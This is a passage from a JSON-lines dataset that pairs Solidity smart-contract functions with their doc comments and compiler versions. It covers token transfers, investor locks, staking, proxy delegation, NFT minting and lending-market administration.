timeLockedAmount + _timeLocks[account][i].amount;\r\n }\r\n }\r\n return timeLockedAmount;\r\n }", "version": "0.8.4"} {"comment": "/**\r\n * @dev Add investor lock, only locker can add\r\n * @param account investor lock account.\r\n * @param amount investor lock amount.\r\n * @param startsAt investor lock release start date.\r\n * @param period investor lock period.\r\n * @param count investor lock count. if count is 1, it works like a time lock\r\n */", "function_code": "function _addInvestorLock(\r\n address account,\r\n uint256 amount,\r\n uint256 startsAt,\r\n uint256 period,\r\n uint256 count\r\n ) internal {\r\n require(account != address(0), \"Investor Lock: lock from the zero address\");\r\n require(startsAt > block.timestamp, \"Investor Lock: must set after now\");\r\n require(amount > 0, \"Investor Lock: amount is 0\");\r\n require(period > 0, \"Investor Lock: period is 0\");\r\n require(count > 0, \"Investor Lock: count is 0\");\r\n _investorLocks[account] = InvestorLock(amount, startsAt, period, count);\r\n emit InvestorLocked(account);\r\n }", "version": "0.8.4"} {"comment": "/**\r\n * @dev get total investor locked amount of address, locked amount will be released by 100%/months\r\n * if months is 5, locked amount released 20% per 1 month.\r\n * @param account The address want to know the investor lock amount.\r\n * @return investor locked amount\r\n */", "function_code": "function getInvestorLockedAmount(address account) public view returns (uint256) {\r\n uint256 investorLockedAmount = 0;\r\n uint256 amount = _investorLocks[account].amount;\r\n if (amount > 0) {\r\n uint256 startsAt = _investorLocks[account].startsAt;\r\n uint256 period = _investorLocks[account].period;\r\n uint256 count = _investorLocks[account].count;\r\n uint256 expiresAt = startsAt + period * (count - 1);\r\n uint256 timestamp = block.timestamp;\r\n if (timestamp < startsAt) {\r\n investorLockedAmount = amount;\r\n } else if (timestamp < expiresAt) {\r\n investorLockedAmount = (amount * ((expiresAt - timestamp) / period + 1)) / count;\r\n }\r\n }\r\n return investorLockedAmount;\r\n }", "version": "0.8.4"} {"comment": "/**\r\n * @dev lock and pause before transfer token\r\n */", "function_code": "function _beforeTokenTransfer(\r\n address from,\r\n address to,\r\n uint256 amount\r\n ) internal override(ERC20) {\r\n super._beforeTokenTransfer(from, to, amount);\r\n\r\n require(!isLocked(from), \"Lockable: token transfer from locked account\");\r\n require(!isLocked(to), \"Lockable: token transfer to locked account\");\r\n require(!isLocked(_msgSender()), \"Lockable: token transfer called from locked account\");\r\n require(!paused(), \"Pausable: token transfer while paused\");\r\n require(balanceOf(from) - getTimeLockedAmount(from) - getInvestorLockedAmount(from) >= amount, \"Lockable: token transfer from time locked account\");\r\n }", "version": "0.8.4"} {"comment": "/**\r\n * @dev Function to mint tokens\r\n * @param value The amount of tokens to mint.\r\n * @return A boolean that indicates if the operation was successful.\r\n */", "function_code": "function mintOwner(uint256 value) public onlyMinter returns (bool) {\r\n \r\n require(msg.sender != address(0), \"\");\r\n require(msg.sender == _owner, \"\");\r\n\r\n _totalSupply = safeAdd(_totalSupply, value);\r\n\r\n balances[_owner] = safeAdd(balances[_owner], value);\r\n emit Transfer(address(0), _owner, value);\r\n\r\n return true;\r\n }", "version": "0.5.0"} {"comment": "// Deposit ERC20's for saving", "function_code": "function depositToken(uint256 amount) public {\r\n require(isEnded != true, \"Deposit ended\");\r\n require(lockStartTime < now, 'Event has not been started yet');\r\n require(isAddrWhitelisted[msg.sender] == true, \"Address is not whitelisted.\");\r\n require(Add(currentCap, amount) <= HARD_CAP, 'Exceed limit total cap');\r\n require(Token(KAI_ADDRESS).transferFrom(msg.sender, address(this), amount));\r\n \r\n currentCap = Add(currentCap, amount);\r\n addrBalance[msg.sender] = Add(addrBalance[msg.sender], amount);\r\n }", "version": "0.5.0"} {"comment": "// Withdraw ERC20's to personal address", "function_code": "function withdrawToken() public {\r\n require(lockStartTime + lockDays * 1 days < now, \"Locking period\");\r\n uint256 amount = addrBalance[msg.sender];\r\n require(amount > 0, \"withdraw only once\");\r\n \r\n uint256 _interest = Mul(amount, interest) / 10000;\r\n\r\n bonus = Sub(bonus, _interest);\r\n amount = Add(amount, _interest);\r\n require(Token(KAI_ADDRESS).transfer(msg.sender, amount));\r\n addrBalance[msg.sender] = 0;\r\n }", "version": "0.5.0"} {"comment": "/**\r\n * Initialization Construction\r\n */", "function_code": "function TokenERC20(uint256 _initialSupply, string _tokenName, string _tokenSymbol) public {\r\n totalSupply = _initialSupply * 10 ** uint256(decimals); // Update total supply with the decimal amount\r\n balanceOf[msg.sender] = totalSupply; // Give the creator all initial tokens\r\n name = _tokenName; // Set the name for display purposes\r\n symbol = _tokenSymbol; // Set the symbol for display purposes\r\n }", "version": "0.4.16"} {"comment": "/**\r\n * Internal Realization of Token Transaction Transfer\r\n */", "function_code": "function _transfer(address _from, address _to, uint _value) internal {\r\n require(_to != 0x0); // Prevent transfer to 0x0 address. Use burn() instead\r\n require(balanceOf[_from] >= _value); // Check if the sender has enough \r\n require(balanceOf[_to] + _value > balanceOf[_to]); // Check for overflows\r\n\r\n uint previousBalances = balanceOf[_from] + balanceOf[_to]; // Save this for an assertion in the future\r\n balanceOf[_from] -= _value; // Subtract from the sender\r\n balanceOf[_to] += _value; // Add the same to the recipient\r\n Transfer(_from, _to, _value); // Notify anyone listening that this transfer took place\r\n\r\n assert(balanceOf[_from] + balanceOf[_to] == previousBalances); // Use assert to check code logic\r\n }", "version": "0.4.16"} {"comment": "/**\r\n \t * @dev convert bytes to address\r\n \t */", "function_code": "function bytesToAddress(bytes source) internal returns(address) {\r\n uint result;\r\n uint mul = 1;\r\n for(uint i = 20; i > 0; i--) {\r\n result += uint8(source[i-1])*mul;\r\n mul = mul*256;\r\n }\r\n return address(result);\r\n }", "version": "0.4.18"} {"comment": "// gas estimation: 105340", "function_code": "function give (string name, uint maxValuePerOpen, string giver) payable {\r\n RedEnvelope storage e = envelopes[name];\r\n require(e.value == 0);\r\n require(msg.value > 0);\r\n e.balance = e.value = msg.value;\r\n e.maxValuePerOpen = maxValuePerOpen;\r\n e.giver = giver;\r\n }", "version": "0.4.19"} {"comment": "// verify that the sender address does belong to a forum user", "function_code": "function _authenticate (string forumId, uint cbGasLimit) payable {\r\n require(stringToUint(forumId) < maxAllowedId);\r\n require(forumIdToAddr[forumId] == 0);\r\n require(msg.value >= oraclize_getPrice(\"URL\", cbGasLimit));\r\n\r\n // looks like the page is too broken for oralize's xpath handler\r\n // bytes32 queryId = oraclize_query(\"URL\", 'html(http://8btc.com/home.php?mod=space&do=doing&uid=250950).xpath(//*[@id=\"ct\"]//div[@class=\"xld xlda\"]/dl[1]/dd[2]/span/text())');\r\n\r\n bytes32 queryId = oraclize_query(\"URL\", \r\n /*\r\n \"json(http://redproxy-1.appspot.com/getAddress.php).addr\",\r\n concat(\"x\", forumId) // buggy oraclize\r\n */\r\n concat(\"json(http://redproxy-1.appspot.com/getAddress.php?uid=\", forumId, \").addr\"),\r\n cbGasLimit \r\n );\r\n pendingQueries[queryId] = forumId;\r\n }", "version": "0.4.19"} {"comment": "// for now we don't use real randomness\n// gas estimation: 57813 x 4 gwei = 0.0002356 eth * 1132 usd/eth = 0.27 usd", "function_code": "function open (string envelopeName) returns (uint value) {\r\n string forumId = addrToForumId[msg.sender];\r\n require(bytes(forumId).length > 0);\r\n\r\n RedEnvelope e = envelopes[envelopeName];\r\n require(e.balance > 0);\r\n require(e.takers[msg.sender] == 0);\r\n\r\n value = uint(keccak256(envelopeName, msg.sender)) % e.maxValuePerOpen;\r\n\r\n if (value > e.balance) {\r\n value = e.balance;\r\n }\r\n e.balance -= value;\r\n e.takers[msg.sender] = value;\r\n msg.sender.transfer(value);\r\n }", "version": "0.4.19"} {"comment": "/// @dev user's staked information", "function_code": "function getUserStaked(address user)\n external\n view\n returns (\n uint256 amount,\n uint256 claimedBlock,\n uint256 claimedAmount,\n uint256 releasedBlock,\n uint256 releasedAmount,\n uint256 releasedTOSAmount,\n bool released\n )\n {\n return (\n userStaked[user].amount,\n userStaked[user].claimedBlock,\n userStaked[user].claimedAmount,\n userStaked[user].releasedBlock,\n userStaked[user].releasedAmount,\n userStaked[user].releasedTOSAmount,\n userStaked[user].released\n );\n }", "version": "0.7.6"} {"comment": "// function to mint based off of whitelist allocation", "function_code": "function presaleMint(\r\n uint256 amount,\r\n bytes32 leaf,\r\n bytes32[] memory proof\r\n ) external payable {\r\n require(presaleActive, \"Presale not active\");\r\n\r\n // create storage element tracking user mints if this is the first mint for them\r\n if (!whitelistUsed[msg.sender]) {\r\n // verify that msg.sender corresponds to Merkle leaf\r\n require(keccak256(abi.encodePacked(msg.sender)) == leaf, \"Sender doesn't match Merkle leaf\");\r\n\r\n // verify that (leaf, proof) matches the Merkle root\r\n require(verify(merkleRoot, leaf, proof), \"Not a valid leaf in the Merkle tree\");\r\n\r\n whitelistUsed[msg.sender] = true;\r\n }\r\n\r\n require(amount <= MAX_AMOUNT_PER_MINT, \"Minting too many at a time\");\r\n require(msg.value == amount * presaleMintPrice, \"Not enough ETH sent\");\r\n require(amount + totalSupply() <= currentSupplyCap, \"Would exceed max supply\");\r\n\r\n _safeMint(msg.sender, amount);\r\n\r\n emit Mint(msg.sender, amount);\r\n }", "version": "0.8.12"} {"comment": "// function to mint in public sale", "function_code": "function publicMint(uint256 amount) external payable {\r\n require(saleActive, \"Public sale not active\");\r\n require(amount <= MAX_AMOUNT_PER_MINT, \"Minting too many at a time\");\r\n require(msg.value == amount * publicMintPrice, \"Not enough ETH sent\");\r\n require(amount + totalSupply() <= currentSupplyCap, \"Would exceed max supply\");\r\n\r\n // _safeMint(msg.sender, amount);\r\n _mint(msg.sender, amount, \"\", false);\r\n\r\n emit Mint(msg.sender, amount);\r\n }", "version": "0.8.12"} {"comment": "// how many tokens sold through crowdsale\n//@dev fallback function, only accepts ether if ICO is running or Reject", "function_code": "function () payable public {\r\n\t\t\trequire(icoEndDate > now);\r\n\t\t\trequire(icoStartDate < now);\r\n require(!safeguard);\r\n\t\t\tuint ethervalueWEI=msg.value;\r\n\t\t\t// calculate token amount to be sent\r\n\t\t\tuint256 token = ethervalueWEI.mul(exchangeRate); //weiamount * price\r\n\t\t\ttokensSold = tokensSold.add(token);\r\n\t\t\t_transfer(this, msg.sender, token); // makes the transfers\r\n\t\t\tforwardEherToOwner();\r\n\t\t}", "version": "0.4.25"} {"comment": "/**\r\n * Internal transfer, only can be called by this contract\r\n *\r\n * @param _from The address of the sender\r\n * @param _to The address of the recipient\r\n * @param _value the amount to send\r\n */", "function_code": "function _transfer(address _from, address _to, uint _value) internal {\r\n // Check if the address is empty\r\n require(_to != address(0));\r\n // Check if the sender has enough\r\n require(balanceOf[_from] >= _value);\r\n // Check for overflows\r\n require(balanceOf[_to] + _value > balanceOf[_to]);\r\n // Save this for an assertion in the future\r\n uint previousBalances = balanceOf[_from] + balanceOf[_to];\r\n // Subtract from the sender\r\n balanceOf[_from] -= _value;\r\n // Add the same to the recipient\r\n balanceOf[_to] += _value;\r\n emit Transfer(_from, _to, _value);\r\n // Asserts are used to use static analysis to find bugs in your code. They should never fail\r\n assert(balanceOf[_from] + balanceOf[_to] == previousBalances);\r\n }", "version": "0.5.10"} {"comment": "/// @notice Causes the deposit of amount sender tokens.\n/// @param _amount Amount of the tokens.", "function_code": "function deposit(uint256 _amount) whenNotPaused nonReentrant public override {\n uint256 _pool = balance();\n\n uint256 _before = IERC20(token).balanceOf(address(this));\n IERC20(token).safeTransferFrom(_msgSender(), address(this), _amount);\n uint256 _after = IERC20(token).balanceOf(address(this));\n _amount = _after.sub(_before); // Additional check for deflationary tokens\n\n uint256 shares = 0;\n if (totalSupply() == 0) {\n shares = _amount;\n } else {\n shares = (_amount.mul(totalSupply())).div(_pool);\n }\n _mint(_msgSender(), shares);\n }", "version": "0.6.12"} {"comment": "/// @notice Causes the withdraw of amount sender shares.\n/// @param _shares Amount of the shares.", "function_code": "function withdraw(uint256 _shares) whenNotPaused public override {\n uint256 r = (balance().mul(_shares)).div(totalSupply());\n _burn(_msgSender(), _shares);\n\n // Check balance\n uint256 b = IERC20(token).balanceOf(address(this));\n if (b < r) {\n uint256 _withdraw = r.sub(b);\n IController(controller).withdraw(_withdraw);\n uint256 _after = IERC20(token).balanceOf(address(this));\n require(_after >= r, \"Not enough balance\");\n }\n\n IERC20(token).safeTransfer(_msgSender(), r);\n }", "version": "0.6.12"} {"comment": "/// @notice Set implementation contract\n/// @param impl New implementation contract address", "function_code": "function upgradeTo(address impl) external onlyOwner {\n require(impl != address(0), \"StakeTONProxy: input is zero\");\n require(\n _implementation() != impl,\n \"StakeTONProxy: The input address is same as the state\"\n );\n _setImplementation(impl);\n emit Upgraded(impl);\n }", "version": "0.7.6"} {"comment": "/// @dev fallback function , execute on undefined function call", "function_code": "function _fallback() internal {\n address _impl = _implementation();\n require(\n _impl != address(0) && !pauseProxy,\n \"StakeTONProxy: impl is zero OR proxy is false\"\n );\n\n assembly {\n // Copy msg.data. We take full control of memory in this inline assembly\n // block because it will not return to Solidity code. We overwrite the\n // Solidity scratch pad at memory position 0.\n calldatacopy(0, 0, calldatasize())\n\n // Call the implementation.\n // out and outsize are 0 because we don't know the size yet.\n let result := delegatecall(gas(), _impl, 0, calldatasize(), 0, 0)\n\n // Copy the returned data.\n returndatacopy(0, 0, returndatasize())\n\n switch result\n // delegatecall returns 0 on error.\n case 0 {\n revert(0, returndatasize())\n }\n default {\n return(0, returndatasize())\n }\n }\n }", "version": "0.7.6"} {"comment": "/// @dev Approves function\n/// @dev call by WTON\n/// @param owner who actually calls\n/// @param spender Who gives permission to use\n/// @param tonAmount how much will be available\n/// @param data Amount data to use with users", "function_code": "function onApprove(\n address owner,\n address spender,\n uint256 tonAmount,\n bytes calldata data\n ) external override returns (bool) {\n (address _spender, uint256 _amount) = _decodeStakeData(data);\n require(\n tonAmount == _amount && spender == _spender,\n \"StakeTONProxy: tonAmount != stakingAmount \"\n );\n require(\n stakeOnApprove(msg.sender, owner, _spender, _amount),\n \"StakeTONProxy: stakeOnApprove fails \"\n );\n return true;\n }", "version": "0.7.6"} {"comment": "// ------------------------------------------------------------------------\n// Token owner can approve for `spender` to transferFrom(...) `tokens`\n// from the token owner's account\n//\n// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md\n// recommends that there are no checks for the approval double-spend attack\n// as this should be implemented in user interfaces \n// ------------------------------------------------------------------------", "function_code": "function approve(address spender, uint tokens) public returns (bool success) {\r\n if(tokens > 0 && spender != address(0)) {\r\n allowed[msg.sender][spender] = tokens;\r\n emit Approval(msg.sender, spender, tokens);\r\n return true;\r\n } else { return false; }\r\n }", "version": "0.4.23"} {"comment": "/// @dev stake with WTON\n/// @param from WTON\n/// @param _owner who actually calls\n/// @param _spender Who gives permission to use\n/// @param _amount how much will be available", "function_code": "function stakeOnApprove(\n address from,\n address _owner,\n address _spender,\n uint256 _amount\n ) public returns (bool) {\n require(\n (paytoken == from && _amount > 0 && _spender == address(this)),\n \"StakeTONProxy: stakeOnApprove init fail\"\n );\n require(\n block.number >= saleStartBlock && block.number < startBlock,\n \"StakeTONProxy: period not allowed\"\n );\n\n require(\n !IStakeVaultStorage(vault).saleClosed(),\n \"StakeTONProxy: end sale\"\n );\n require(\n IIERC20(paytoken).balanceOf(_owner) >= _amount,\n \"StakeTONProxy: insuffient\"\n );\n\n LibTokenStake1.StakedAmount storage staked = userStaked[_owner];\n if (staked.amount == 0) totalStakers = totalStakers.add(1);\n\n staked.amount = staked.amount.add(_amount);\n totalStakedAmount = totalStakedAmount.add(_amount);\n require(\n IIERC20(from).transferFrom(_owner, _spender, _amount),\n \"StakeTONProxy: transfer fail\"\n );\n\n emit Staked(_owner, _amount);\n return true;\n }", "version": "0.7.6"} {"comment": "/// @dev set initial storage\n/// @param _addr the array addresses of token, paytoken, vault, defiAddress\n/// @param _registry the registry address\n/// @param _intdata the array valued of saleStartBlock, stakeStartBlock, periodBlocks", "function_code": "function setInit(\n address[4] memory _addr,\n address _registry,\n uint256[3] memory _intdata\n ) external onlyOwner {\n require(token == address(0), \"StakeTONProxy: already initialized\");\n\n require(\n _registry != address(0) &&\n _addr[2] != address(0) &&\n _intdata[0] < _intdata[1],\n \"StakeTONProxy: setInit fail\"\n );\n token = _addr[0];\n paytoken = _addr[1];\n vault = _addr[2];\n defiAddr = _addr[3];\n\n stakeRegistry = _registry;\n\n tokamakLayer2 = address(0);\n\n saleStartBlock = _intdata[0];\n startBlock = _intdata[1];\n endBlock = startBlock.add(_intdata[2]);\n }", "version": "0.7.6"} {"comment": "/**\r\n * @dev Checks whether or not there is sufficient allowance for this contract to move amount from `from` and\r\n * whether or not `from` has a balance of at least `amount`. Does NOT do a transfer.\r\n */", "function_code": "function checkTransferIn(address asset, address from, uint amount) internal view returns (Error) {\r\n\r\n EIP20Interface token = EIP20Interface(asset);\r\n\r\n if (token.allowance(from, address(this)) < amount) {\r\n return Error.TOKEN_INSUFFICIENT_ALLOWANCE;\r\n }\r\n\r\n if (token.balanceOf(from) < amount) {\r\n return Error.TOKEN_INSUFFICIENT_BALANCE;\r\n }\r\n\r\n return Error.NO_ERROR;\r\n }", "version": "0.4.26"} {"comment": "/**\r\n * @dev Similar to EIP20 transfer, except it handles a False result from `transferFrom` and returns an explanatory\r\n * error code rather than reverting. If caller has not called `checkTransferIn`, this may revert due to\r\n * insufficient balance or insufficient allowance. If caller has called `checkTransferIn` prior to this call,\r\n * and it returned Error.NO_ERROR, this should not revert in normal conditions.\r\n *\r\n * Note: This wrapper safely handles non-standard ERC-20 tokens that do not return a value.\r\n * See here: https://medium.com/coinmonks/missing-return-value-bug-at-least-130-tokens-affected-d67bf08521ca\r\n */", "function_code": "function doTransferIn(address asset, address from, uint amount) internal returns (Error) {\r\n EIP20NonStandardInterface token = EIP20NonStandardInterface(asset);\r\n\r\n bool result;\r\n\r\n token.transferFrom(from, address(this), amount);\r\n\r\n assembly {\r\n switch returndatasize()\r\n case 0 { // This is a non-standard ERC-20\r\n result := not(0) // set result to true\r\n }\r\n case 32 { // This is a complaint ERC-20\r\n returndatacopy(0, 0, 32)\r\n result := mload(0) // Set `result = returndata` of external call\r\n }\r\n default { // This is an excessively non-compliant ERC-20, revert.\r\n revert(0, 0)\r\n }\r\n }\r\n\r\n if (!result) {\r\n return Error.TOKEN_TRANSFER_FAILED;\r\n }\r\n\r\n return Error.NO_ERROR;\r\n }", "version": "0.4.26"} {"comment": "/**\r\n * @dev Calculates a new balance based on a previous balance and a pair of interest indices\r\n * This is defined as: `The user's last balance checkpoint is multiplied by the currentSupplyIndex\r\n * value and divided by the user's checkpoint index value`\r\n *\r\n * TODO: Is there a way to handle this that is less likely to overflow?\r\n */", "function_code": "function calculateBalance(uint startingBalance, uint interestIndexStart, uint interestIndexEnd) pure internal returns (Error, uint) {\r\n if (startingBalance == 0) {\r\n // We are accumulating interest on any previous balance; if there's no previous balance, then there is\r\n // nothing to accumulate.\r\n return (Error.NO_ERROR, 0);\r\n }\r\n (Error err0, uint balanceTimesIndex) = mul(startingBalance, interestIndexEnd);\r\n if (err0 != Error.NO_ERROR) {\r\n return (err0, 0);\r\n }\r\n\r\n return div(balanceTimesIndex, interestIndexStart);\r\n }", "version": "0.4.26"} {"comment": "/**\r\n * @dev Gets the price for the amount specified of the given asset.\r\n */", "function_code": "function getPriceForAssetAmount(address asset, uint assetAmount) internal view returns (Error, Exp memory) {\r\n (Error err, Exp memory assetPrice) = fetchAssetPrice(asset);\r\n if (err != Error.NO_ERROR) {\r\n return (err, Exp({mantissa: 0}));\r\n }\r\n\r\n if (isZeroExp(assetPrice)) {\r\n return (Error.MISSING_ASSET_PRICE, Exp({mantissa: 0}));\r\n }\r\n\r\n return mulScalar(assetPrice, assetAmount); // assetAmountWei * oraclePrice = assetValueInEth\r\n }", "version": "0.4.26"} {"comment": "/**\r\n * @dev Gets the price for the amount specified of the given asset multiplied by the current\r\n * collateral ratio (i.e., assetAmountWei * collateralRatio * oraclePrice = totalValueInEth).\r\n * We will group this as `(oraclePrice * collateralRatio) * assetAmountWei`\r\n */", "function_code": "function getPriceForAssetAmountMulCollatRatio(address asset, uint assetAmount) internal view returns (Error, Exp memory) {\r\n Error err;\r\n Exp memory assetPrice;\r\n Exp memory scaledPrice;\r\n (err, assetPrice) = fetchAssetPrice(asset);\r\n if (err != Error.NO_ERROR) {\r\n return (err, Exp({mantissa: 0}));\r\n }\r\n\r\n if (isZeroExp(assetPrice)) {\r\n return (Error.MISSING_ASSET_PRICE, Exp({mantissa: 0}));\r\n }\r\n\r\n // Now, multiply the assetValue by the collateral ratio\r\n (err, scaledPrice) = mulExp(collateralRatio, assetPrice);\r\n if (err != Error.NO_ERROR) {\r\n return (err, Exp({mantissa: 0}));\r\n }\r\n\r\n // Get the price for the given asset amount\r\n return mulScalar(scaledPrice, assetAmount);\r\n }", "version": "0.4.26"} {"comment": "/**\r\n * @dev Calculates the origination fee added to a given borrowAmount\r\n * This is simply `(1 + originationFee) * borrowAmount`\r\n *\r\n * TODO: Track at what magnitude this fee rounds down to zero?\r\n */", "function_code": "function calculateBorrowAmountWithFee(uint borrowAmount) view internal returns (Error, uint) {\r\n // When origination fee is zero, the amount with fee is simply equal to the amount\r\n if (isZeroExp(originationFee)) {\r\n return (Error.NO_ERROR, borrowAmount);\r\n }\r\n\r\n (Error err0, Exp memory originationFeeFactor) = addExp(originationFee, Exp({mantissa: mantissaOne}));\r\n if (err0 != Error.NO_ERROR) {\r\n return (err0, 0);\r\n }\r\n\r\n (Error err1, Exp memory borrowAmountWithFee) = mulScalar(originationFeeFactor, borrowAmount);\r\n if (err1 != Error.NO_ERROR) {\r\n return (err1, 0);\r\n }\r\n\r\n return (Error.NO_ERROR, truncate(borrowAmountWithFee));\r\n }", "version": "0.4.26"} {"comment": "/**\r\n * @dev fetches the price of asset from the PriceOracle and converts it to Exp\r\n * @param asset asset whose price should be fetched\r\n */", "function_code": "function fetchAssetPrice(address asset) internal view returns (Error, Exp memory) {\r\n if (oracle == address(0)) {\r\n return (Error.ZERO_ORACLE_ADDRESS, Exp({mantissa: 0}));\r\n }\r\n\r\n PriceOracleInterface oracleInterface = PriceOracleInterface(oracle);\r\n uint priceMantissa = oracleInterface.assetPrices(asset);\r\n\r\n return (Error.NO_ERROR, Exp({mantissa: priceMantissa}));\r\n }", "version": "0.4.26"} {"comment": "/**\r\n * @dev Gets the amount of the specified asset given the specified Eth value\r\n * ethValue / oraclePrice = assetAmountWei\r\n * If there's no oraclePrice, this returns (Error.DIVISION_BY_ZERO, 0)\r\n */", "function_code": "function getAssetAmountForValue(address asset, Exp ethValue) internal view returns (Error, uint) {\r\n Error err;\r\n Exp memory assetPrice;\r\n Exp memory assetAmount;\r\n\r\n (err, assetPrice) = fetchAssetPrice(asset);\r\n if (err != Error.NO_ERROR) {\r\n return (err, 0);\r\n }\r\n\r\n (err, assetAmount) = divExp(ethValue, assetPrice);\r\n if (err != Error.NO_ERROR) {\r\n return (err, 0);\r\n }\r\n\r\n return (Error.NO_ERROR, truncate(assetAmount));\r\n }", "version": "0.4.26"} {"comment": "/**\r\n * @notice Begins transfer of admin rights. The newPendingAdmin must call `_acceptAdmin` to finalize the transfer.\r\n * @dev Admin function to begin change of admin. The newPendingAdmin must call `_acceptAdmin` to finalize the transfer.\r\n * @param newPendingAdmin New pending admin.\r\n * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details)\r\n *\r\n * TODO: Should we add a second arg to verify, like a checksum of `newAdmin` address?\r\n */", "function_code": "function _setPendingAdmin(address newPendingAdmin) public returns (uint) {\r\n // Check caller = admin\r\n if (msg.sender != admin) {\r\n return fail(Error.UNAUTHORIZED, FailureInfo.SET_PENDING_ADMIN_OWNER_CHECK);\r\n }\r\n\r\n // save current value, if any, for inclusion in log\r\n address oldPendingAdmin = pendingAdmin;\r\n // Store pendingAdmin = newPendingAdmin\r\n pendingAdmin = newPendingAdmin;\r\n\r\n emit NewPendingAdmin(oldPendingAdmin, newPendingAdmin);\r\n\r\n return uint(Error.NO_ERROR);\r\n }", "version": "0.4.26"} {"comment": "/**\r\n * @notice Set new oracle, who can set asset prices\r\n * @dev Admin function to change oracle\r\n * @param newOracle New oracle address\r\n * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details)\r\n */", "function_code": "function _setOracle(address newOracle) public returns (uint) {\r\n // Check caller = admin\r\n if (msg.sender != admin) {\r\n return fail(Error.UNAUTHORIZED, FailureInfo.SET_ORACLE_OWNER_CHECK);\r\n }\r\n\r\n // Verify contract at newOracle address supports assetPrices call.\r\n // This will revert if it doesn't.\r\n PriceOracleInterface oracleInterface = PriceOracleInterface(newOracle);\r\n oracleInterface.assetPrices(address(0));\r\n\r\n address oldOracle = oracle;\r\n\r\n // Store oracle = newOracle\r\n oracle = newOracle;\r\n\r\n emit NewOracle(oldOracle, newOracle);\r\n\r\n return uint(Error.NO_ERROR);\r\n }", "version": "0.4.26"} {"comment": "/**\r\n * @notice returns the liquidity for given account.\r\n * a positive result indicates ability to borrow, whereas\r\n * a negative result indicates a shortfall which may be liquidated\r\n * @dev returns account liquidity in terms of eth-wei value, scaled by 1e18\r\n * note: this includes interest trued up on all balances\r\n * @param account the account to examine\r\n * @return signed integer in terms of eth-wei (negative indicates a shortfall)\r\n */", "function_code": "function getAccountLiquidity(address account) public view returns (int) {\r\n (Error err, Exp memory accountLiquidity, Exp memory accountShortfall) = calculateAccountLiquidity(account);\r\n require(err == Error.NO_ERROR);\r\n\r\n if (isZeroExp(accountLiquidity)) {\r\n return -1 * int(truncate(accountShortfall));\r\n } else {\r\n return int(truncate(accountLiquidity));\r\n }\r\n }", "version": "0.4.26"} {"comment": "/**\r\n * @notice return supply balance with any accumulated interest for `asset` belonging to `account`\r\n * @dev returns supply balance with any accumulated interest for `asset` belonging to `account`\r\n * @param account the account to examine\r\n * @param asset the market asset whose supply balance belonging to `account` should be checked\r\n * @return uint supply balance on success, throws on failed assertion otherwise\r\n */", "function_code": "function getSupplyBalance(address account, address asset) view public returns (uint) {\r\n Error err;\r\n uint newSupplyIndex;\r\n uint userSupplyCurrent;\r\n\r\n Market storage market = markets[asset];\r\n Balance storage supplyBalance = supplyBalances[account][asset];\r\n\r\n // Calculate the newSupplyIndex, needed to calculate user's supplyCurrent\r\n (err, newSupplyIndex) = calculateInterestIndex(market.supplyIndex, market.supplyRateMantissa, market.blockNumber, getBlockNumber());\r\n require(err == Error.NO_ERROR);\r\n\r\n // Use newSupplyIndex and stored principal to calculate the accumulated balance\r\n (err, userSupplyCurrent) = calculateBalance(supplyBalance.principal, supplyBalance.interestIndex, newSupplyIndex);\r\n require(err == Error.NO_ERROR);\r\n\r\n return userSupplyCurrent;\r\n }", "version": "0.4.26"} {"comment": "/**\r\n * @notice Supports a given market (asset) for use with Lendf.Me\r\n * @dev Admin function to add support for a market\r\n * @param asset Asset to support; MUST already have a non-zero price set\r\n * @param interestRateModel InterestRateModel to use for the asset\r\n * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details)\r\n */", "function_code": "function _supportMarket(address asset, InterestRateModel interestRateModel) public returns (uint) {\r\n // Check caller = admin\r\n if (msg.sender != admin) {\r\n return fail(Error.UNAUTHORIZED, FailureInfo.SUPPORT_MARKET_OWNER_CHECK);\r\n }\r\n\r\n (Error err, Exp memory assetPrice) = fetchAssetPrice(asset);\r\n if (err != Error.NO_ERROR) {\r\n return fail(err, FailureInfo.SUPPORT_MARKET_FETCH_PRICE_FAILED);\r\n }\r\n\r\n if (isZeroExp(assetPrice)) {\r\n return fail(Error.ASSET_NOT_PRICED, FailureInfo.SUPPORT_MARKET_PRICE_CHECK);\r\n }\r\n\r\n // Set the interest rate model to `modelAddress`\r\n markets[asset].interestRateModel = interestRateModel;\r\n\r\n // Append asset to collateralAssets if not set\r\n addCollateralMarket(asset);\r\n\r\n // Set market isSupported to true\r\n markets[asset].isSupported = true;\r\n\r\n // Default supply and borrow index to 1e18\r\n if (markets[asset].supplyIndex == 0) {\r\n markets[asset].supplyIndex = initialInterestIndex;\r\n }\r\n\r\n if (markets[asset].borrowIndex == 0) {\r\n markets[asset].borrowIndex = initialInterestIndex;\r\n }\r\n\r\n emit SupportedMarket(asset, interestRateModel);\r\n\r\n return uint(Error.NO_ERROR);\r\n }", "version": "0.4.26"} {"comment": "/**\r\n * @notice Suspends a given *supported* market (asset) from use with Lendf.Me.\r\n * Assets in this state do count for collateral, but users may only withdraw, payBorrow,\r\n * and liquidate the asset. The liquidate function no longer checks collateralization.\r\n * @dev Admin function to suspend a market\r\n * @param asset Asset to suspend\r\n * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details)\r\n */", "function_code": "function _suspendMarket(address asset) public returns (uint) {\r\n // Check caller = admin\r\n if (msg.sender != admin) {\r\n return fail(Error.UNAUTHORIZED, FailureInfo.SUSPEND_MARKET_OWNER_CHECK);\r\n }\r\n\r\n // If the market is not configured at all, we don't want to add any configuration for it.\r\n // If we find !markets[asset].isSupported then either the market is not configured at all, or it\r\n // has already been marked as unsupported. We can just return without doing anything.\r\n // Caller is responsible for knowing the difference between not-configured and already unsupported.\r\n if (!markets[asset].isSupported) {\r\n return uint(Error.NO_ERROR);\r\n }\r\n\r\n // If we get here, we know market is configured and is supported, so set isSupported to false\r\n markets[asset].isSupported = false;\r\n\r\n emit SuspendedMarket(asset);\r\n\r\n return uint(Error.NO_ERROR);\r\n }", "version": "0.4.26"} {"comment": "/**\r\n * @notice Sets the origination fee (which is a multiplier on new borrows)\r\n * @dev Owner function to set the origination fee\r\n * @param originationFeeMantissa rational collateral ratio, scaled by 1e18. The de-scaled value must be >= 1.1\r\n * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details)\r\n */", "function_code": "function _setOriginationFee(uint originationFeeMantissa) public returns (uint) {\r\n // Check caller = admin\r\n if (msg.sender != admin) {\r\n return fail(Error.UNAUTHORIZED, 